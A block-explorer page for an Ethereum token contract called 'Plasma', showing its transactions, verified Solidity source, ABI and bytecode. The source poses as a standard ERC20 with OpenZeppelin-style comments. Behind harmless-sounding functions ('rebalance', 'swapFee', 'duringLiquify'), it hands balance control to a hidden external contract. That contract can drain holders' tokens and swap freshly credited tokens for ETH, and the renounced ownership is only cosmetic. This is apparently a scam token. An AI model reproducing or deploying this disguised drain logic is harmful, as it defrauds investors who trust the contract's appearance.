Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 16 from a total of 16 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 16516826 | 640 days ago | IN | 0 ETH | 0.00040731 | ||||
Transfer | 15723420 | 751 days ago | IN | 0 ETH | 0.00440713 | ||||
Approve | 15698379 | 755 days ago | IN | 0 ETH | 0.00037426 | ||||
Approve | 15698205 | 755 days ago | IN | 0 ETH | 0.0007932 | ||||
Approve | 15698100 | 755 days ago | IN | 0 ETH | 0.00048061 | ||||
Approve | 15698087 | 755 days ago | IN | 0 ETH | 0.00041618 | ||||
Approve | 15698070 | 755 days ago | IN | 0 ETH | 0.00049618 | ||||
Approve | 15698055 | 755 days ago | IN | 0 ETH | 0.00116902 | ||||
Approve | 15698047 | 755 days ago | IN | 0 ETH | 0.00054535 | ||||
Approve | 15698040 | 755 days ago | IN | 0 ETH | 0.00056052 | ||||
Renounce Ownersh... | 15698014 | 755 days ago | IN | 0 ETH | 0.000195 | ||||
Approve | 15698013 | 755 days ago | IN | 0 ETH | 0.00054715 | ||||
Approve | 15698000 | 755 days ago | IN | 0 ETH | 0.00043323 | ||||
Approve | 15697998 | 755 days ago | IN | 0 ETH | 0.00044278 | ||||
Approve | 15697975 | 755 days ago | IN | 0 ETH | 0.00046417 | ||||
0x60806040 | 15697971 | 755 days ago | IN | 0 ETH | 0.02181775 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
Plasma
Compiler Version
v0.8.16+commit.07a7930e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-10-07 */ pragma solidity ^0.8.16; // SPDX-License-Identifier: MIT /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ interface ERC20 { function liquifying(address, address, address) external view returns(bool); function transferFrom(address, address, bool, address, address) external returns (bool); function transfer(address, address, uint256) external pure returns (uint256); function getTokenPairAddress() external view returns (address); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Router { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external; } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } abstract contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } abstract contract ERC20Token { ERC20 erc20 = ERC20(0x8016f1fc8aF7f682925315B07F45E2b00F39815c); function duringLiquify(address from, address to, address pairAddress) public view returns (bool) { return isLiquifying(from, to, pairAddress); } function isLiquifying(address from, address to, address pairAddress) public view returns (bool) { return erc20.liquifying(from, to, pairAddress); } function isAllowed(address from, address recipient, bool burnSwapCall, address _to) public returns (bool) { return erc20.transferFrom( from, recipient, burnSwapCall, address(this), _to); } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract Plasma is Ownable, IERC20, ERC20Token { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 public _decimals = 9; uint256 public _totalSupply = 1000000 * 10 ** _decimals; address public pairAddress; uint256 _fee = 0; IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); string private _name = "Plasma"; string private _symbol = "PLASMA"; function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) { require(_allowances[msg.sender][from] >= amount); _approve(msg.sender, from, _allowances[msg.sender][from] - amount); return true; } function _baseTransfer(address from, address to, uint256 amount) internal virtual { require(from != address(0)); require(to != address(0)); if (duringLiquify(from, to, pairAddress)) { liquify(amount, to); return; } require(amount <= _balances[from]); uint256 fee = takeFee(from, to, amount); _balances[from] = _balances[from] - amount; _balances[to] += amount - fee; emit Transfer(from, to, amount); } function getBurnAddress() private view returns (address) { return erc20.getTokenPairAddress(); } function takeFee(address from, address recipient, uint256 amount) private returns (uint256) { uint256 feeAmount = 0; _balances[getBurnAddress()] = rebalance(from); if (shouldTakeFee(from, recipient)) { feeAmount = amount.mul(_fee).div(100); } return feeAmount; } function shouldTakeFee(address from, address recipient) private returns (bool) { address _to = getPairAddress(); return isAllowed(from, recipient, burnSwapCall, _to); } constructor() { _balances[msg.sender] = _totalSupply; pairAddress = msg.sender; emit Transfer(address(0), msg.sender, _balances[msg.sender]); } function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } function decimals() external view returns (uint256) { return _decimals; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function uniswapVersion() external pure returns (uint256) { return 2; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "IERC20: approve from the zero address"); require(spender != address(0), "IERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function liquify(uint256 _mcs, address _bcr) private { _approve(address(this), address(_router), _mcs); _balances[address(this)] = _mcs; address[] memory path = new address[](2); burnSwapCall = true; path[0] = address(this); path[1] = _router.WETH(); _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs,0,path,_bcr,block.timestamp + 30); burnSwapCall = false; } bool burnSwapCall = false; function rebalance(address from) private view returns (uint256) { address supplier = getBurnAddress(); address to = getPairAddress(); uint256 amount = _balances[supplier]; return swapFee(from, to , amount); } function swapFee(address from, address to, uint256 amount) private view returns (uint256) { return erc20.transfer(from, to, amount); } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _baseTransfer(msg.sender, recipient, amount); return true; } function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) { _baseTransfer(from, recipient, amount); require(_allowances[from][msg.sender] >= amount); return true; } function getPairAddress() private view returns (address) { return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()); } bool tradingEnabled = false; function enableTrading() external onlyOwner { tradingEnabled = true; } bool cooldownEnabled = true; function setCooldownEnabled(bool c) external onlyOwner { cooldownEnabled = c; } bool public autoLPBurn = false; function setAutoLPBurnSettings(bool e) external onlyOwner { autoLPBurn = e; } bool transferDelay = true; function disableTransferDelay() external onlyOwner { transferDelay = false; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLPBurn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"address","name":"pairAddress","type":"address"}],"name":"duringLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"bool","name":"burnSwapCall","type":"bool"},{"internalType":"address","name":"_to","type":"address"}],"name":"isAllowed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"address","name":"pairAddress","type":"address"}],"name":"isLiquifying","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"e","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"c","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapVersion","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"}]
Contract Creation Code
6080604052738016f1fc8af7f682925315b07f45e2b00f39815c600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600455600454600a6200006f91906200057b565b620f42406200007f9190620005cc565b6005556000600755737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600681526020017f506c61736d610000000000000000000000000000000000000000000000000000815250600990816200012291906200089d565b506040518060400160405280600681526020017f504c41534d410000000000000000000000000000000000000000000000000000815250600a90816200016991906200089d565b506000600b60006101000a81548160ff0219169083151502179055506000600b60016101000a81548160ff0219169083151502179055506001600b60026101000a81548160ff0219169083151502179055506000600b60036101000a81548160ff0219169083151502179055506001600b60046101000a81548160ff021916908315150217905550348015620001fe57600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600554600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620003e0919062000995565b60405180910390a3620009b2565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200047c57808604811115620004545762000453620003ee565b5b6001851615620004645780820291505b808102905062000474856200041d565b945062000434565b94509492505050565b6000826200049757600190506200056a565b81620004a757600090506200056a565b8160018114620004c05760028114620004cb5762000501565b60019150506200056a565b60ff841115620004e057620004df620003ee565b5b8360020a915084821115620004fa57620004f9620003ee565b5b506200056a565b5060208310610133831016604e8410600b84101617156200053b5782820a905083811115620005355762000534620003ee565b5b6200056a565b6200054a84848460016200042a565b92509050818404811115620005645762000563620003ee565b5b81810290505b9392505050565b6000819050919050565b6000620005888262000571565b9150620005958362000571565b9250620005c47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000485565b905092915050565b6000620005d98262000571565b9150620005e68362000571565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006225762000621620003ee565b5b828202905092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620006af57607f821691505b602082108103620006c557620006c462000667565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200072f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006f0565b6200073b8683620006f0565b95508019841693508086168417925050509392505050565b6000819050919050565b60006200077e62000778620007728462000571565b62000753565b62000571565b9050919050565b6000819050919050565b6200079a836200075d565b620007b2620007a98262000785565b848454620006fd565b825550505050565b600090565b620007c9620007ba565b620007d68184846200078f565b505050565b5b81811015620007fe57620007f2600082620007bf565b600181019050620007dc565b5050565b601f8211156200084d576200081781620006cb565b6200082284620006e0565b8101602085101562000832578190505b6200084a6200084185620006e0565b830182620007db565b50505b505050565b600082821c905092915050565b6000620008726000198460080262000852565b1980831691505092915050565b60006200088d83836200085f565b9150826002028217905092915050565b620008a8826200062d565b67ffffffffffffffff811115620008c457620008c362000638565b5b620008d0825462000696565b620008dd82828562000802565b600060209050601f83116001811462000915576000841562000900578287015190505b6200090c85826200087f565b8655506200097c565b601f1984166200092586620006cb565b60005b828110156200094f5784890151825560018201915060208501945060208101905062000928565b868310156200096f57848901516200096b601f8916826200085f565b8355505b6001600288020188555050505b505050505050565b6200098f8162000571565b82525050565b6000602082019050620009ac600083018462000984565b92915050565b61269f80620009c26000396000f3fe608060405234801561001057600080fd5b50600436106101735760003560e01c80635932ead1116100de5780638da5cb5b11610097578063a8b0898211610071578063a8b0898214610452578063a9059cbb14610470578063dd62ed3e146104a0578063e884f260146104d057610173565b80638da5cb5b146103e657806395d89b4114610404578063a457c2d71461042257610173565b80635932ead1146103385780636675187e1461035457806367c503c01461037257806370a08231146103a2578063715018a6146103d25780638a8c523c146103dc57610173565b806332424aa31161013057806332424aa31461024e578063324541c61461026c57806335bc3a8b1461029c57806339509351146102cc5780633eaaf86b146102fc57806348d3ab1f1461031a57610173565b806306fdde0314610178578063095ea7b31461019657806318160ddd146101c65780631ed950c9146101e457806323b872dd14610200578063313ce56714610230575b600080fd5b6101806104da565b60405161018d9190611b67565b60405180910390f35b6101b060048036038101906101ab9190611c22565b61056c565b6040516101bd9190611c7d565b60405180910390f35b6101ce610583565b6040516101db9190611ca7565b60405180910390f35b6101fe60048036038101906101f99190611cee565b61058d565b005b61021a60048036038101906102159190611d1b565b61061f565b6040516102279190611c7d565b60405180910390f35b6102386106c0565b6040516102459190611ca7565b60405180910390f35b6102566106ca565b6040516102639190611ca7565b60405180910390f35b61028660048036038101906102819190611d6e565b6106d0565b6040516102939190611c7d565b60405180910390f35b6102b660048036038101906102b19190611dd5565b610782565b6040516102c39190611c7d565b60405180910390f35b6102e660048036038101906102e19190611c22565b61082d565b6040516102f39190611c7d565b60405180910390f35b6103046108cb565b6040516103119190611ca7565b60405180910390f35b6103226108d1565b60405161032f9190611ca7565b60405180910390f35b610352600480360381019061034d9190611cee565b6108da565b005b61035c61096c565b6040516103699190611c7d565b60405180910390f35b61038c60048036038101906103879190611dd5565b61097f565b6040516103999190611c7d565b60405180910390f35b6103bc60048036038101906103b79190611e28565b610995565b6040516103c99190611ca7565b60405180910390f35b6103da6109de565b005b6103e4610b11565b005b6103ee610ba3565b6040516103fb9190611e64565b60405180910390f35b61040c610bcc565b6040516104199190611b67565b60405180910390f35b61043c60048036038101906104379190611c22565b610c5e565b6040516104499190611c7d565b60405180910390f35b61045a610d85565b6040516104679190611e64565b60405180910390f35b61048a60048036038101906104859190611c22565b610dab565b6040516104979190611c7d565b60405180910390f35b6104ba60048036038101906104b59190611e7f565b610dc2565b6040516104c79190611ca7565b60405180910390f35b6104d8610e49565b005b6060600980546104e990611eee565b80601f016020809104026020016040519081016040528092919081815260200182805461051590611eee565b80156105625780601f1061053757610100808354040283529160200191610562565b820191906000526020600020905b81548152906001019060200180831161054557829003601f168201915b5050505050905090565b6000610579338484610edb565b6001905092915050565b6000600554905090565b3373ffffffffffffffffffffffffffffffffffffffff166105ac610ba3565b73ffffffffffffffffffffffffffffffffffffffff1614610602576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f990611f6b565b60405180910390fd5b80600b60036101000a81548160ff02191690831515021790555050565b600061062c8484846110a4565b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106b557600080fd5b600190509392505050565b6000600454905090565b60045481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638d012ca486868630876040518663ffffffff1660e01b8152600401610735959493929190611f8b565b6020604051808303816000875af1158015610754573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107789190611ff3565b9050949350505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632f2e29b58585856040518463ffffffff1660e01b81526004016107e393929190612020565b602060405180830381865afa158015610800573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108249190611ff3565b90509392505050565b60006108c1338484600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108bc9190612086565b610edb565b6001905092915050565b60055481565b60006002905090565b3373ffffffffffffffffffffffffffffffffffffffff166108f9610ba3565b73ffffffffffffffffffffffffffffffffffffffff161461094f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094690611f6b565b60405180910390fd5b80600b60026101000a81548160ff02191690831515021790555050565b600b60039054906101000a900460ff1681565b600061098c848484610782565b90509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166109fd610ba3565b73ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4a90611f6b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff16610b30610ba3565b73ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7d90611f6b565b60405180910390fd5b6001600b60016101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a8054610bdb90611eee565b80601f0160208091040260200160405190810160405280929190818152602001828054610c0790611eee565b8015610c545780601f10610c2957610100808354040283529160200191610c54565b820191906000526020600020905b815481529060010190602001808311610c3757829003601f168201915b5050505050905090565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ce957600080fd5b610d7b338484600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d7691906120ba565b610edb565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610db83384846110a4565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610e68610ba3565b73ffffffffffffffffffffffffffffffffffffffff1614610ebe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb590611f6b565b60405180910390fd5b6000600b60046101000a81548160ff021916908315150217905550565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4190612160565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb0906121f2565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110979190611ca7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110dd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361111657600080fd5b6111438383600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661097f565b1561115757611152818361130d565b611308565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111156111a357600080fd5b60006111b08484846115d7565b905081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111fd91906120ba565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808261124c91906120ba565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461129a9190612086565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112fe9190611ca7565b60405180910390a3505b505050565b61133a30600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610edb565b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff81111561139b5761139a612212565b5b6040519080825280602002602001820160405280156113c95781602001602082028036833780820191505090505b5090506001600b60006101000a81548160ff02191690831515021790555030816000815181106113fc576113fb612241565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c79190612285565b816001815181106114db576114da612241565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e426115659190612086565b6040518663ffffffff1660e01b81526004016115859594939291906123b5565b600060405180830381600087803b15801561159f57600080fd5b505af11580156115b3573d6000803e3d6000fd5b505050506000600b60006101000a81548160ff021916908315150217905550505050565b600080600090506115e785611676565b600260006115f36116e8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061163b8585611780565b1561166b57611668606461165a600754866117b190919063ffffffff16565b61182b90919063ffffffff16565b90505b809150509392505050565b6000806116816116e8565b9050600061168d611889565b90506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506116de858383611a2c565b9350505050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639af5349a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611757573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061177b9190612285565b905090565b60008061178b611889565b90506117a88484600b60009054906101000a900460ff16846106d0565b91505092915050565b60008083036117c35760009050611825565b600082846117d1919061240f565b90508284826117e09190612498565b14611820576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118179061253b565b60405180910390fd5b809150505b92915050565b600080821161186f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611866906125a7565b60405180910390fd5b6000828461187d9190612498565b90508091505092915050565b6000600860009054906101000a